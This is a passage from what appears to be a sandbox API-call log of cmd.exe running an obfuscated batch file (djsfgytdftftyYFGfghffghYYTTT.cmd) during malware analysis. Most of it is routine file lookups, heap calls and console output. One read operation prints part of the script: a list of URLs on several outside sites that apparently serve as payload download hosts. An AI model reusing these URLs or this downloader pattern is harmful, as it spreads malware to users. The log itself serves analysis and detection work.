dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.757] GetLastError () returned 0x2 [0231.757] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.757] GetLastError () returned 0x2 [0231.757] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.757] GetLastError () returned 0x2 [0231.757] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.757] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.757] GetLastError () returned 0x2 [0231.757] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.758] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cd30 [0231.758] FindClose (in: hFindFile=0x20b0f92cd30 | out: hFindFile=0x20b0f92cd30) returned 1 [0231.758] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.758] GetLastError () returned 0x2 [0231.759] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.759] GetLastError () returned 0x2 [0231.759] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.759] GetLastError () returned 0x2 [0231.759] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.759] GetLastError () returned 0x2 [0231.760] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.760] GetLastError () returned 0x2 [0231.760] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.760] GetLastError () returned 0x2 [0231.760] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.760] GetLastError () returned 0x2 [0231.760] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.761] GetLastError () returned 0x2 [0231.761] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.761] GetLastError () returned 0x2 [0231.761] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.761] GetLastError () returned 0x2 [0231.761] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.761] GetLastError () returned 0x2 [0231.762] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.762] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.762] GetLastError () returned 0x2 [0231.762] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.762] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.762] GetLastError () returned 0x2 [0231.762] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.763] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.763] GetLastError () returned 0x2 [0231.763] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.763] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.763] GetLastError () returned 0x2 [0231.763] ??_V@YAXPEAX@Z () returned 0x1 [0231.764] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.764] GetFileType (hFile=0x54) returned 0x2 [0231.764] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0231.764] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0231.765] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.765] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0231.766] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0231.766] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0231.766] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0231.770] ??_V@YAXPEAX@Z () returned 0x1 [0231.770] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.770] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0231.771] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.771] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0231.771] _get_osfhandle (_FileHandle=0) returned 0x4c [0231.771] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0231.771] SetConsoleInputExeNameW () returned 0x1 [0231.771] GetConsoleOutputCP () returned 0x1b5 [0231.772] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0231.772] SetThreadUILanguage (LangId=0x0) returned 0x409 [0231.772] ??_V@YAXPEAX@Z () returned 0x1 [0231.773] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.774] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.774] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.774] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4081, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xff1 [0231.774] GetProcessHeap () returned 0x20b0f920000 [0231.774] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956880) returned 1 [0231.774] GetProcessHeap () returned 0x20b0f920000 [0231.774] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0231.774] GetProcessHeap () returned 0x20b0f920000 [0231.774] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947a50) returned 1 [0231.774] GetProcessHeap () returned 0x20b0f920000 [0231.774] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0231.775] GetProcessHeap () returned 0x20b0f920000 [0231.775] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957c00) returned 1 [0231.775] GetProcessHeap () returned 0x20b0f920000 [0231.775] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0231.776] GetProcessHeap () returned 0x20b0f920000 [0231.776] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d90) returned 1 [0231.776] GetProcessHeap () returned 0x20b0f920000 [0231.776] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0231.776] GetProcessHeap () returned 0x20b0f920000 [0231.776] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947c10) returned 1 [0231.776] GetProcessHeap () returned 0x20b0f920000 [0231.776] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0231.777] GetProcessHeap () returned 0x20b0f920000 [0231.777] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0231.777] GetProcessHeap () returned 0x20b0f920000 [0231.777] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0231.777] GetProcessHeap () returned 0x20b0f920000 [0231.777] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0231.777] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.777] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xff1 [0231.777] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x7c4, lpOverlapped=0x0) returned 1 [0231.777] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4172, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x104c [0231.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0231.777] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.777] GetFileType (hFile=0x9c) returned 0x1 [0231.777] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.778] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x104c [0231.778] GetProcessHeap () returned 0x20b0f920000 [0231.778] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.778] GetProcessHeap () returned 0x20b0f920000 [0231.778] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.778] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0231.778] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0231.778] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0231.778] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0231.778] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0231.778] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0231.778] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0231.778] GetProcessHeap () returned 0x20b0f920000 [0231.778] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0231.778] GetProcessHeap () returned 0x20b0f920000 [0231.778] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0231.779] GetProcessHeap () returned 0x20b0f920000 [0231.779] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xaa) returned 0x20b0f926ea0 [0231.779] _tell (_FileHandle=3) returned 4172 [0231.779] _close (_FileHandle=3) returned 0 [0231.779] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0231.779] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.779] GetFileType (hFile=0x50) returned 0x2 [0231.779] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.779] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0231.780] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.780] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0231.790] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0231.790] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0231.790] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0231.790] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.790] GetFileType (hFile=0x50) returned 0x2 [0231.790] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.790] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0231.791] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.791] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0231.791] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.791] GetFileType (hFile=0x50) returned 0x2 [0231.791] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.791] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.792] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.792] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0231.792] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 77 [0231.792] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.792] GetFileType (hFile=0x50) returned 0x2 [0231.792] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.793] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0231.793] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.793] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4d) returned 1 [0231.793] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0231.793] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.793] GetFileType (hFile=0x50) returned 0x2 [0231.794] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.794] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.794] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.794] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0231.802] malloc (_Size=0xffce) returned 0x20b0fa60940 [0231.803] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0231.803] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.803] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.803] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.803] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.803] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.803] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.803] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.803] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.803] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.803] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.804] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.804] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.804] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.804] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.804] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.804] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.804] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.804] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.804] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.804] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.804] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.804] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.804] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.804] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.804] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.804] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.804] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.804] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.804] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.804] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.804] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.804] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.804] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.804] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.804] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.804] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.804] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.805] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.805] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.805] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.805] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.805] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.805] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.805] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.805] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.806] GetProcessHeap () returned 0x20b0f920000 [0231.806] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0231.809] SetErrorMode (uMode=0x0) returned 0x0 [0231.809] SetErrorMode (uMode=0x1) returned 0x0 [0231.809] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0231.809] SetErrorMode (uMode=0x0) returned 0x1 [0231.809] GetProcessHeap () returned 0x20b0f920000 [0231.809] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0231.809] GetProcessHeap () returned 0x20b0f920000 [0231.809] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0231.809] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.809] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.809] GetProcessHeap () returned 0x20b0f920000 [0231.809] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0231.809] GetProcessHeap () returned 0x20b0f920000 [0231.809] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0231.809] GetProcessHeap () returned 0x20b0f920000 [0231.809] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0231.810] GetProcessHeap () returned 0x20b0f920000 [0231.810] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0231.810] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.810] GetProcessHeap () returned 0x20b0f920000 [0231.810] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947550 [0231.810] GetProcessHeap () returned 0x20b0f920000 [0231.810] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947550, Size=0x7e) returned 0x20b0f956880 [0231.810] GetProcessHeap () returned 0x20b0f920000 [0231.810] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956880) returned 0x7e [0231.810] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.810] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cdf0 [0231.810] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0231.811] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.811] GetLastError () returned 0x2 [0231.811] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.811] GetLastError () returned 0x2 [0231.811] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.812] GetLastError () returned 0x2 [0231.812] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.812] GetLastError () returned 0x2 [0231.812] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.812] GetLastError () returned 0x2 [0231.812] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.812] GetLastError () returned 0x2 [0231.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", 